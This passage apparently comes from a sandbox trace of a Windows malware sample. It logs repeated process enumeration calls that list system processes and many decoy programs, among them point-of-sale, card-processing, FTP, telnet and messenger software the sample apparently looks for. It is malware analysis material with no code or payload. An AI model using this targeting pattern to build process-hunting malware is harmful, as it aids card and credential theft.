th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0283.082] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0283.084] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0283.087] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0283.089] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0283.092] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0283.094] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0283.097] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0283.100] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0283.102] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0283.105] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0283.107] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0283.109] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0283.112] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0283.115] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0283.117] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0283.119] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0283.122] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0283.151] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0283.155] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0283.158] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0283.161] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0283.163] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.166] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0283.169] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0283.172] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0283.174] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0283.177] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0283.180] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0283.183] CloseHandle (hObject=0xa10) returned 1 [0283.183] Sleep (dwMilliseconds=0x64) [0283.185] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0283.197] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.199] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0283.201] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0283.204] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.206] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0283.210] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.212] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0283.214] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0283.216] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0283.218] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.220] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.222] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0283.224] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.226] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.228] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.230] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.232] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.234] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.236] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.238] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0283.240] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0283.243] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0283.246] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.248] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0283.249] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0283.251] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0283.253] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0283.255] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0283.257] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0283.259] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0283.268] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.271] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.279] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0283.284] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.286] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0283.292] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0283.293] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0283.295] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0283.297] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0283.299] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0283.301] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0283.304] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0283.306] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0283.309] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0283.310] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0283.312] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0283.315] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0283.317] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0283.319] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0283.320] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0283.322] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0283.324] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0283.326] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0283.328] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0283.330] Process32Next (in: 